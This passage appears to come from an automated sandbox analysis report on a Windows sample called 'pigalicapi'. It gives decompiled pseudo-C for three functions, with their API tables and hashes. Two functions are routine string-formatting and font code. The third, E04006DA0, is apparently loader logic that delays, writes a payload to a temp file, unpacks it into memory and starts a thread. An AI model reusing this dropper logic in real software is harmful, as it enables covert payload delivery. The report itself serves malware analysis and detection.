									_t189 = 2;
									goto L69;
								} else {
									_t213 = _t122 - 0x73;
									if(_t213 > 0) {
										_t141 = _t122 - 0x10043;
										__eflags = _t141;
										if(_t141 == 0) {
											goto L50;
										} else {
											__eflags = _t141 == 0x10;
											if(_t141 == 0x10) {
												goto L51;
											} else {
												goto L41;
											}
										}
									} else {
										if(_t213 == 0) {
											L51:
											_t139 = _a12 + 4;
											_a12 = _t139;
											_t140 =  *(_t139 - 4);
											__eflags = _t140;
											if(_t140 != 0) {
												_t134 = lstrlenA(_t140);
												goto L48;
											} else {
												_t37 =  &(_t140[6]); // 0x6
												_t189 = _t37;
												goto L69;
											}
										} else {
											if(_t122 == 0x43) {
												goto L50;
											} else {
												if(_t122 == 0x53) {
													_t131 = _a12 + 4;
													_a12 = _t131;
													_t132 =  *((intOrPtr*)(_t131 - 4));
													if(_t132 != 0) {
														_t31 = _t132 + 2; // 0x2
														_t183 = _t31;
														do {
															_t170 =  *_t132;
															_t132 = _t132 + 2;
															__eflags = _t170;
														} while (_t170 != 0);
														L47:
														_t133 = _t132 - _t183;
														__eflags = _t133;
														_t134 = _t133 >> 1;
														L48:
														_t189 = _t134;
														__eflags = _t189 - 1;
														if(_t189 >= 1) {
															__eflags = _t189;
															if(_t189 == 0) {
																goto L41;
															} else {
																goto L69;
															}
														} else {
															_t189 = 1;
															goto L69;
														}
													} else {
														_t30 = _t132 + 6; // 0x6
														_t189 = _t30;
														L69:
														_t124 = _v12;
														if(_t189 <= _t124) {
															_t189 = _t124;
														}
														_t125 = _v16;
														if(_t125 == 0 || _t189 < _t125) {
															goto L81;
														} else {
															_v8 = _v8 + _t125;
														}
													}
												} else {
													_t216 = _t122 - 0x63;
													L40:
													if(_t216 == 0) {
														goto L50;
													} else {
														L41:
														_t128 =  *_t191 + 0xffffffbb;
														if(_t128 > 0x33) {
															L81:
															_v8 = _v8 + _t189;
														} else {
															_t24 = _t128 + 0x805d78; // 0xff5608eb
															switch( *((intOrPtr*)(( *_t24 & 0x000000ff) * 4 +  &M00805D64))) {
																case 0:
																	OutputDebugStringA("Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.");
																	DebugBreak();
																	_v8 = _v8 + __edi;
																	__ebx = CharNextA;
																	goto L83;
																case 1:
																	__eflags = __ebx & 0x00040000;
																	if((__ebx & 0x00040000) == 0) {
																		goto L76;
																	} else {
																		_a12 = _a12 + 8;
																	}
																	goto L77;
																case 2:
																	_t59 =  &_a12;
																	 *_t59 = _a12 + 4;
																	__eflags =  *_t59;
																	goto L81;
																case 3:
																	L76:
																	_t51 =  &_a12;
																	 *_t51 = _a12 + 4;
																	__eflags =  *_t51;
																	L77:
																	__eax = _v16;
																	__eax = _v16 + _v12;
																	__edi = 0x20;
																	__eflags = __eax - 0x20;
																	if(__eax < 0x20) {
																		goto L81;
																	} else {
																		__ebx = CharNextA;
																		__edi = __eax;
																		_v8 = _v8 + __edi;
																	}
																	goto L83;
																case 4:
																	goto L81;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
					L83:
					_t191 = CharNextA(_t191);
				}
				_t174 = _a4;
				_t88 =  *_a4;
				_t186 = _v8;
				_t68 = _t88 - 0xc; // -12
				_t192 = _t68;
				if( *(_t88 - 0xc) > 1 || _t186 >  *((intOrPtr*)(_t88 - 4))) {
					_t158 =  *((intOrPtr*)(_t88 - 8));
					if(_v8 < _t158) {
						_t186 = _t158;
					}
					if(E00805E70(_t174) == 0) {
						goto L95;
					} else {
						_t91 = _t158 + 1;
						if(_t186 + 1 >= _t158 + 1) {
							_t74 =  &(_t192[3]); // 0xd
							E008196A0( *_a4, _t74, _t91);
							_t195 = _t195 + 0xc;
						}
						 *((intOrPtr*)( *_a4 - 8)) = _t158;
						if(_t192 != 0x86ad20 && InterlockedDecrement(_t192) <= 0) {
							_push(_t192);
							E008162C2();
							_t195 = _t195 + 4;
						}
						goto L94;
					}
				} else {
					L94:
					_t188 = _a4;
					_t93 =  *_t188;
					if(_t93 != 0) {
						wvsprintfA(_t93, _a8, _v20);
						_t95 =  *_t188;
						__eflags =  *(_t95 - 0xc) - 1;
						_t81 = _t95 - 0xc; // -12
						_t193 = _t81;
						if( *(_t95 - 0xc) > 1) {
							__eflags =  &(_t95[0xfffffffffffffff4]) - 0x86ad20;
							if( &(_t95[0xfffffffffffffff4]) != 0x86ad20) {
								_t104 = InterlockedDecrement(_t193);
								__eflags = _t104;
								if(_t104 <= 0) {
									_t181 =  *_t188 - 0xc;
									__eflags = _t181;
									_push(_t181);
									E008162C2();
									_t195 = _t195 + 4;
								}
								_t105 =  *0x86ad30; // 0x86ad2c
								 *_t188 = _t105;
							}
							_t100 = E00805E70(_t188);
							__eflags = _t100;
							if(_t100 != 0) {
								_t168 =  *_t188;
								_t102 = 1 + _t193[1];
								__eflags =  *((intOrPtr*)(_t168 - 4)) + 1 - _t102;
								if( *((intOrPtr*)(_t168 - 4)) + 1 >= _t102) {
									__eflags =  &(_t193[3]);
									E008196A0(_t168,  &(_t193[3]), _t102);
								}
							}
						}
						_t97 = lstrlenA( *_t188);
						 *( *_t188 - 8) = _t97;
						( *_t188)[_t97] = 0;
						return 1;
					} else {
						L95:
						return 0;
					}
				}
			}

0x0080591b
0x00805922
0x00805925
0x0080592c
0x00805943
0x00805c05
0x00805c06
0x00805c0a
0x00805c0a
0x00805c0a
0x00805949
0x0080594c
0x0080594e
0x00805952
0x00000000
0x00805958
0x00805958
0x0080595a
0x0080595f
0x0080599f
0x0080599f
0x008059a5
0x008059a8
0x008059aa
0x008059af
0x008059b1
0x008059b5
0x008059ba
0x008059bf
0x00000000
0x00000000
0x008059c4
0x008059c6
0x008059ca
0x00000000
0x00000000
0x00000000
0x008059ca
0x008059b1
0x00805961
0x00805961
0x00805963
0x0080596b
0x0080596d
0x0080597f
0x00805981
0x00000000
0x00805983
0x00805983
0x00805985
0x00000000
0x00805987
0x00805987
0x00805989
0x00000000
0x0080598b
0x0080598b
0x0080598d
0x00000000
0x00000000
0x0080598d
0x00805989
0x00805985
0x0080596f
0x0080596f
0x00805977
0x0080597a
0x00000000
0x0080597a
0x00805965
0x00805965
0x00000000
0x00805965
0x00000000
0x0080598f
0x00805992
0x00805994
0x00805996
0x0080599d
0x00000000
0x00000000
0x0080599d
0x008059cc
0x008059cf
0x008059d2
0x008059d7
0x008059dc
0x008059dd
0x008059f9
0x008059fc
0x008059fe
0x00805a01
0x00805a03
0x00805a05
0x00805a09
0x00805a0e
0x00805a11
0x00805a13
0x00000000
0x00000000
0x00805a18
0x00805a1a
0x00805a1c
0x00805a1e
0x00000000
0x00000000
0x00000000
0x00805a1e
0x00805a05
0x008059df
0x008059e2
0x008059e5
0x008059eb
0x008059f0
0x008059f0
0x008059dd
0x00805a20
0x00805a20
0x00805a22
0x00805a26
0x00805a41
0x00805a44
0x00805a47
0x00805a49
0x00805a50
0x00000000
0x00805a63
0x00805a6a
0x00000000
0x00000000
0x00805a57
0x00000000
0x00000000
0x00805a5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00805a50
0x00805a34
0x00805a34
0x00805a37
0x00805a37
0x00805a6c
0x00805a6f
0x00805a71
0x00805a76
0x00805b31
0x00805b36
0x00805b4b
0x00805b4b
0x00805b50
0x00000000
0x00805b52
0x00805b52
0x00805b55
0x00000000
0x00000000
0x00000000
0x00000000
0x00805b55
0x00805b38
0x00805b38
0x00805b5b
0x00805b5e
0x00805b61
0x00805b64
0x00805b67
0x00805b69
0x00805b70
0x00805b70
0x00805b73
0x00805b73
0x00805b76
0x00805b79
0x00805b79
0x00000000
0x00805b6b
0x00805b6b
0x00805b6b
0x00000000
0x00805b6b
0x00805b3a
0x00805b3a
0x00805b3f
0x00000000
0x00805b41
0x00805b41
0x00000000
0x00805b41
0x00805b3f
0x00805b38
0x00805a7c
0x00805a7c
0x00805af4
0x00805af4
0x00805af8
0x00000000
0x00805a7e
0x00805a7e
0x00805a81
0x00805b20
0x00805b20
0x00805b25
0x00000000
0x00805b27
0x00805b27
0x00805b2a
0x00000000
0x00805b2c
0x00000000
0x00805b2c
0x00805b2a
0x00805a87
0x00805a87
0x00805b02
0x00805b05
0x00805b08
0x00805b0b
0x00805b0e
0x00805b10
0x00805b18
0x00000000
0x00805b12
0x00805b12
0x00805b12
0x00000000
0x00805b12
0x00805a89
0x00805a8c
0x00000000
0x00805a8e
0x00805a91
0x00805ab8
0x00805abb
0x00805abe
0x00805ac3
0x00805acd
0x00805acd
0x00805ad0
0x00805ad0
0x00805ad3
0x00805ad6
0x00805ad6
0x00805adb
0x00805adb
0x00805adb
0x00805add
0x00805adf
0x00805adf
0x00805ae1
0x00805ae4
0x00805b83
0x00805b85
0x00000000
0x00000000
0x00000000
0x00000000
0x00805aea
0x00805aea
0x00000000
0x00805aea
0x00805ac5
0x00805ac5
0x00805ac5
0x00805b8b
0x00805b8b
0x00805b90
0x00805b92
0x00805b92
0x00805b94
0x00805b99
0x00000000
0x00805b9f
0x00805ba7
0x00805ba7
0x00805b99
0x00805a93
0x00805a93
0x00805a96
0x00805a96
0x00000000
0x00805a98
0x00805a98
0x00805a9b
0x00805aa1
0x00805bfa
0x00805bfa
0x00805aa7
0x00805aa7
0x00805aae
0x00000000
0x00805bdf
0x00805be5
0x00805beb
0x00805bee
0x00000000
0x00000000
0x00805bac
0x00805bb2
0x00000000
0x00805bb4
0x00805bb4
0x00805bb4
0x00000000
0x00000000
0x00805bf6
0x00805bf6
0x00805bf6
0x00000000
0x00000000
0x00805bba
0x00805bba
0x00805bba
0x00805bba
0x00805bbe
0x00805bbe
0x00805bc1
0x00805bc4
0x00805bc9
0x00805bcb
0x00000000
0x00805bcd
0x00805bcd
0x00805bd3
0x00805bd5
0x00805bd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00805aae
0x00805aa1
0x00805a96
0x00805a91
0x00805a8c
0x00805a87
0x00805a81
0x00805a7c
0x00805a76
0x00805952
0x00805c0d
0x00805c10
0x00805c12
0x00805c1b
0x00805c1e
0x00805c24
0x00805c27
0x00805c27
0x00805c2a
0x00805c31
0x00805c37
0x00805c39
0x00805c39
0x00805c44
0x00000000
0x00805c46
0x00805c46
0x00805c4c
0x00805c54
0x00805c59
0x00805c5e
0x00805c5e
0x00805c66
0x00805c6f
0x00805c7c
0x00805c7d
0x00805c82
0x00805c82
0x00000000
0x00805c6f
0x00805c85
0x00805c85
0x00805c85
0x00805c88
0x00805c8c
0x00805ca2
0x00805ca8
0x00805caa
0x00805cae
0x00805cae
0x00805cb1
0x00805cb6
0x00805cbb
0x00805cbe
0x00805cc4
0x00805cc6
0x00805cca
0x00805cca
0x00805ccd
0x00805cce
0x00805cd3
0x00805cd3
0x00805cd6
0x00805cdb
0x00805cdb
0x00805ce2
0x00805ce7
0x00805ce9
0x00805ceb
0x00805cf3
0x00805cf5
0x00805cf7
0x00805cfa
0x00805cff
0x00805d04
0x00805cf7
0x00805ce9
0x00805d0a
0x00805d12
0x00805d19
0x00805d26
0x00805c90
0x00805c90
0x00805c96
0x00805c96
0x00805c8c

APIs

CharNextA.USER32(?), ref: 0080594A
CharNextA.USER32(00000000), ref: 00805990
CharNextA.USER32(00000000), ref: 008059C2
CharNextA.USER32(00000000), ref: 008059D5
CharNextA.USER32(00000000), ref: 008059EE
CharNextA.USER32(00000000), ref: 00805A16
CharNextA.USER32(00000000), ref: 00805A64
OutputDebugStringA.KERNEL32(Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.), ref: 00805BDF
DebugBreak.KERNEL32 ref: 00805BE5
CharNextA.USER32(?), ref: 00805C06
CharNextA.USER32(?), ref: 00805C0E
_memmove.LIBCMT ref: 00805C59
InterlockedDecrement.KERNEL32(00000001), ref: 00805C72
wvsprintfA.USER32(?,00000001,?), ref: 00805CA2
InterlockedDecrement.KERNEL32(-0000000C), ref: 00805CBE
_memmove.LIBCMT ref: 00805CFF
lstrlenA.KERNEL32(00000000), ref: 00805D0A

Strings

Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class., xrefs: 00805BDA

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: CharNext$DebugDecrementInterlocked_memmove$BreakOutputStringlstrlenwvsprintf
String ID: Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
API String ID: 3221026881-233888011
Opcode ID: 6d75c45499e0cd49494f8f8603a9232b726f8b2a75bfc80c86b990c4ff53b8c1
Instruction ID: 244df4dbbea899f86711abe390166526cf83c3eb98b531ed8a86a07d5671234e
Opcode Fuzzy Hash: 6d75c45499e0cd49494f8f8603a9232b726f8b2a75bfc80c86b990c4ff53b8c1
Instruction Fuzzy Hash: 49D1C171A00A598FDBA0CF28CC986ABBBE5FF45324F188565D886D7291E334ED41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 04006DA0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 354
memoryfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04006DA0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				long _v608;
				int _v612;
				long _v616;
				void* _v620;
				long _v624;
				intOrPtr _v628;
				void* _v632;
				intOrPtr _t198;
				struct _SECURITY_ATTRIBUTES* _t217;
				void* _t223;
				struct _SECURITY_ATTRIBUTES* _t248;
				void* _t347;
				void* _t349;
				void* _t350;

				_v8 = _a4;
				if(_v8 == 0) {
					L39:
					return 0;
				}
				Sleep( *(_v8 + 0x14) * 0x3c * 0x3e8);
				__imp__CoInitialize(0);
				_v32 =  *_v8;
				_v28 =  *((intOrPtr*)(_v8 + 4));
				_v24 =  *((intOrPtr*)(_v8 + 8));
				_v12 =  *(_v8 + 0x14);
				_v20 =  *(_v8 + 0xc);
				_v16 =  *((intOrPtr*)(_v8 + 0x10));
				if(( *(_v8 + 0xc) & 0x00000001) == 0) {
					GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
					E04007D20( &_v340,  &_v340, 0, 0xa);
					E04009730( &_v340, 4);
					_t349 = _t347 + 0x14;
					GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
					_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0, 0);
					if(_v328 != 0xffffffff) {
						_v608 = 0;
						_v612 = 0;
						_v616 =  *(_v8 + 0x1c);
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							_v612 = WriteFile(_v328,  *(_v8 + 0x18),  *(_v8 + 0x1c),  &_v608, 0);
						} else {
							_v624 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
							_v620 = VirtualAlloc(0, _v624, 0x3000, 4);
							if(_v620 != 0) {
								if(E04006260(_v8,  *(_v8 + 0x18),  *(_v8 + 0x1c), _v620, _v624) == _v624) {
									_v612 = WriteFile(_v328, _v620, _v624,  &_v608, 0);
									_v616 = _v624;
								}
								VirtualFree(_v620, 0, 0x8000);
							}
						}
						CloseHandle(_v328);
						if(_v612 != 0 && _v608 == _v616) {
							_t198 = E04001E60( &_v324);
							_t350 = _t349 + 4;
							_v628 = _t198;
							if(_v628 != 0) {
								if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
									E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
									_t350 = _t350 + 0xc;
								}
								if(( *(_v8 + 0xc) & 0x00000004) != 0) {
									E04002510(_v628, 0x400e290);
								}
							}
						}
					}
					L38:
					__imp__CoUninitialize();
					goto L39;
				}
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				if(( *(_v8 + 0xc) & 0x00000010) == 0) {
					_t217 = E04002070( *(_v8 + 0x18));
					_t347 = _t347 + 4;
					_v40 = _t217;
				} else {
					_v44 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
					_v48 = VirtualAlloc(0, _v44, 0x3000, 4);
					if(_v48 != 0) {
						if(E04006260( *(_v8 + 0x1c),  *(_v8 + 0x18),  *(_v8 + 0x1c), _v48, _v44) == _v44) {
							_t248 = E04002070(_v48);
							_t347 = _t347 + 4;
							_v40 = _t248;
							if(( *(_v8 + 0xc) & 0x00000008) != 0) {
								_v36 = VirtualAlloc(0, _v44, 0x3000, 4);
								E04007B70(_v36, _v48, _v44);
								_t347 = _t347 + 0xc;
							}
						}
						VirtualFree(_v48, 0, 0x8000);
					}
				}
				if(_v40 == 0) {
					L22:
					goto L38;
				} else {
					if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
						E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
						_t347 = _t347 + 0xc;
					}
					if(( *(_v8 + 0xc) & 0x00000008) != 0) {
						_t223 = E040097A0(0x10);
						_t347 = _t347 + 4;
						_v632 = _t223;
						_v52 = _v632;
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							 *_v52 = VirtualAlloc(0,  *(_v8 + 0x1c), 0x3000, 4);
							if( *_v52 != 0) {
								E04007B70( *_v52,  *(_v8 + 0x18),  *(_v8 + 0x1c));
								_t347 = _t347 + 0xc;
								 *(_v52 + 4) =  *(_v8 + 0x1c);
							}
						} else {
							 *_v52 = _v36;
							 *(_v52 + 4) = _v44;
						}
						if( *_v52 != 0) {
							 *(_v52 + 8) =  *(_v8 + 0xc);
							 *((intOrPtr*)(_v52 + 0xc)) = _v40;
							_v56 = CreateThread(0, 0, E040077B0, _v52, 0, 0);
							CloseHandle(_v56);
						}
					}
					if(( *(_v8 + 0xc) & 0x00000004) != 0) {
						E04002510(_v40, 0x400e290);
					}
					goto L22;
				}
			}

APIs

Sleep.KERNEL32(?), ref: 04006DC9
CoInitialize.OLE32(00000000), ref: 04006DD1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04006E5F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,00000000), ref: 04006EB5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,00000000), ref: 04006EDD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04006F7A
CreateThread.KERNEL32 ref: 04006FE3
CloseHandle.KERNEL32(?), ref: 04006FF0
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 04007028
GetTickCount.KERNEL32 ref: 04007059
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 04007077
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 04007093
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007101
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000,?,?,00000000,?), ref: 0400715D
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04007183
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 040071A9
CloseHandle.KERNEL32(000000FF), ref: 040071BC
CoUninitialize.OLE32 ref: 04007239

Strings

TEMP, xrefs: 04007023

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickUninitializeVariable
String ID: TEMP
API String ID: 3110491842-1036413054
Opcode ID: 05801680803462ba2d4cfcd211f126ae5d7fafa0105253d93b0c039220193637
Instruction ID: 2b87ebad86062e1f9aa8347128cf2fe592da7145f1ccd4accac7794ca236a0a8
Opcode Fuzzy Hash: 05801680803462ba2d4cfcd211f126ae5d7fafa0105253d93b0c039220193637
Instruction Fuzzy Hash: 1FF10975A00208EFEB58DF94D984F9DB7B5BB88304F248698E509BB390D775AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 008111F0 Relevance: 33.2, APIs: 22, Instructions: 249
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E008111F0(void* __ecx) {
				signed int _v8;
				struct tagRECT _v24;
				char _v56;
				intOrPtr _v57;
				intOrPtr _v58;
				intOrPtr _v59;
				intOrPtr _v60;
				intOrPtr _v61;
				intOrPtr _v62;
				intOrPtr _v63;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				void _v84;
				struct tagLOGFONTA _v268;
				char _v424;
				void _v428;
				struct _OSVERSIONINFOA _v580;
				void _v584;
				struct HWND__* _v588;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t83;
				struct HWND__* _t88;
				void* _t91;
				signed char _t103;
				int _t114;
				signed char _t115;
				void* _t121;
				void* _t123;
				void* _t139;
				struct HDC__* _t171;
				int _t172;
				void* _t174;
				signed int _t175;
				void* _t176;
				void* _t177;

				_t83 =  *0x869060; // 0xda7e2511
				_v8 = _t83 ^ _t175;
				_t174 = __ecx;
				_v428 = 0x154;
				E00816820( &_v424, 0, 0x150);
				_t177 = _t176 + 0xc;
				if(SystemParametersInfoA(0x29, 0x154,  &_v428, 0) == 0) {
					L25:
					_t88 =  *(_t174 + 4);
					_v588 = _t88;
					_t171 = GetWindowDC(_t88);
					_t91 = SelectObject(_t171,  *(_t174 + 0xa4));
					_v24.left = 0;
					_v24.top = 0;
					_v24.right = 0;
					_v24.bottom = 0;
					_t139 = DrawTextA;
					_v584 = _t91;
					DrawTextA(_t171, "\t", 0xffffffff,  &_v24, 0x424);
					if(_v24.right - _v24.left >= 4) {
						 *(_t174 + 0xb0) = 0;
					} else {
						SetRectEmpty( &_v24);
						DrawTextA(_t171, "x", 0xffffffff,  &_v24, 0x424);
						 *(_t174 + 0xb0) = _v24.right - _v24.left;
					}
					SelectObject(_t171, _v584);
					_v580.dwOSVersionInfoSize = 0x94;
					E00816820( &(_v580.dwMajorVersion), 0, 0x90);
					GetVersionExA( &_v580);
					if(_v580.dwMajorVersion < 5) {
						L42:
						return E008159E6(ReleaseDC(_v588, _t171), _t139, _v8 ^ _t175, _v588, _t171, _t174);
					} else {
						_v584 = 1;
						if(SystemParametersInfoA(0x100a, 0,  &_v584, 0) == 0 || _v584 != 0) {
							_t103 = 0;
							__eflags = 0;
						} else {
							_t103 = 1;
						}
						 *(_t174 + 0x85) = (_t103 & 0x00000001 | 0x00000004) + (_t103 & 0x00000001 | 0x00000004) |  *(_t174 + 0x85) & 0x000000fd;
						E00811600( !(((_t103 & 0x00000001 | 0x00000004) + (_t103 & 0x00000001 | 0x00000004) |  *(_t174 + 0x85) & 0x000000fd) >> 1) & 0x00000001, _t174);
						if(_v580.dwMajorVersion != 5) {
							if(__eflags <= 0) {
								goto L42;
							}
							goto L37;
						} else {
							if(_v580.dwMinorVersion >= 1) {
								L37:
								_v584 = 0;
								_t114 = SystemParametersInfoA(0x1022, 0,  &_v584, 0);
								__eflags = _t114;
								if(_t114 == 0) {
									L40:
									_t115 = 0;
									__eflags = 0;
									L41:
									_t79 = _t174 + 0x85;
									 *_t79 =  *(_t174 + 0x85) ^ ( *(_t174 + 0x85) ^ _t115) & 0x00000001;
									__eflags =  *_t79;
									goto L42;
								}
								__eflags = _v584;
								if(_v584 == 0) {
									goto L40;
								}
								_t115 = 1;
								goto L41;
							}
							goto L42;
						}
					}
				}
				_v84 = 0;
				E00816820( &_v80, 0, 0x38);
				_t121 =  *(_t174 + 0xa4);
				_t177 = _t177 + 0xc;
				if(_t121 != 0) {
					GetObjectA(_t121, 0x3c,  &_v84);
				}
				if(_v84 != _v268.lfHeight || _v80 != _v268.lfWidth || _v76 != _v268.lfEscapement || _v72 != _v268.lfOrientation || _v68 != _v268.lfWeight || _v64 != _v268.lfItalic || _v63 != _v268.lfUnderline || _v62 != _v268.lfStrikeOut || _v61 != _v268.lfCharSet || _v60 != _v268.lfOutPrecision || _v59 != _v268.lfClipPrecision || _v58 != _v268.lfQuality || _v57 != _v268.lfPitchAndFamily || lstrcmpA( &_v56,  &(_v268.lfFaceName)) != 0) {
					_t172 = CreateFontIndirectA( &_v268);
					if(_t172 != 0) {
						if( *(_t174 + 0xa4) != 0 && DeleteObject( *(_t174 + 0xa4)) != 0) {
							 *(_t174 + 0xa4) = 0;
						}
						_t123 =  *(_t174 + 0xa4);
						if(_t123 != 0 && _t123 != _t172) {
							DeleteObject(_t123);
						}
						 *(_t174 + 0xa4) = _t172;
						SendMessageA( *(_t174 + 4), 0x30, _t172, 1);
						SendMessageA( *(_t174 + 4), 0x41c, 0, "NS");
						SendMessageA( *(_t174 + 4), 0x421, 0, 0);
					}
				}
				goto L25;
			}

0x008111f9
0x00811200
0x00811215
0x00811217
0x00811221
0x00811226
0x00811240
0x0081139b
0x0081139b
0x0081139f
0x008113ab
0x008113b5
0x008113cb
0x008113ce
0x008113d1
0x008113d4
0x008113d7
0x008113de
0x008113e4
0x008113ef
0x0081141c
0x008113f1
0x008113f5
0x0081140c
0x00811414
0x00811414
0x0081142e
0x00811442
0x0081144c
0x0081145b
0x0081146a
0x00811521
0x0081153f
0x00811470
0x00811480
0x00811492
0x008114a1
0x008114a1
0x0081149d
0x0081149d
0x0081149d
0x008114b4
0x008114c0
0x008114ce
0x008114db
0x00000000
0x00000000
0x00000000
0x008114d0
0x008114d7
0x008114dd
0x008114ed
0x008114f7
0x008114fd
0x008114ff
0x0081150e
0x0081150e
0x0081150e
0x00811510
0x0081151b
0x0081151b
0x0081151b
0x00000000
0x0081151b
0x00811501
0x00811508
0x00000000
0x00000000
0x0081150a
0x00000000
0x0081150a
0x00000000
0x008114d9
0x008114ce
0x0081146a
0x0081124d
0x00811250
0x00811255
0x0081125b
0x00811260
0x00811269
0x00811269
0x00811278
0x0081132c
0x00811330
0x00811338
0x0081134b
0x0081134b
0x00811351
0x00811359
0x00811360
0x00811360
0x00811369
0x0081137b
0x0081138c
0x00811399
0x00811399
0x00811330
0x00000000

APIs

_memset.LIBCMT ref: 00811221
SystemParametersInfoA.USER32(00000029,00000154,00000154,00000000), ref: 00811238
_memset.LIBCMT ref: 00811250
GetObjectA.GDI32(?,0000003C,?), ref: 00811269
lstrcmpA.KERNEL32(?,?,?,?,?,?,?,?), ref: 00811315
CreateFontIndirectA.GDI32(?), ref: 00811326
DeleteObject.GDI32(?), ref: 00811341
DeleteObject.GDI32(?), ref: 00811360
SendMessageA.USER32 ref: 0081137B
SendMessageA.USER32 ref: 0081138C
SendMessageA.USER32 ref: 00811399
GetWindowDC.USER32(?,?,?,?), ref: 008113A5
SelectObject.GDI32(00000000,?), ref: 008113B5
DrawTextA.USER32(00000000,00822C38,000000FF,?,00000424), ref: 008113E4
SetRectEmpty.USER32(?), ref: 008113F5
DrawTextA.USER32(00000000,00822C3C,000000FF,?,00000424), ref: 0081140C
SelectObject.GDI32(00000000,?), ref: 0081142E
_memset.LIBCMT ref: 0081144C
GetVersionExA.KERNEL32(00000094,?,?,?,?,?,?), ref: 0081145B
SystemParametersInfoA.USER32(0000100A,00000000,?,00000000), ref: 0081148A
SystemParametersInfoA.USER32(00001022,00000000,00000001,00000000), ref: 008114F7
ReleaseDC.USER32 ref: 00811529

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Object$InfoMessageParametersSendSystem_memset$DeleteDrawSelectText$CreateEmptyFontIndirectRectReleaseVersionWindowlstrcmp
String ID:
API String ID: 3152644950-0
Opcode ID: a3b9e164d6f61cb74035bc913cb4fc3c07dc7f648392a50e447e3cae19fdce1a
Instruction ID: ab94cb7e186ac0d2610f95f399cab5203c57ed053e87686198f74db7be99cb18
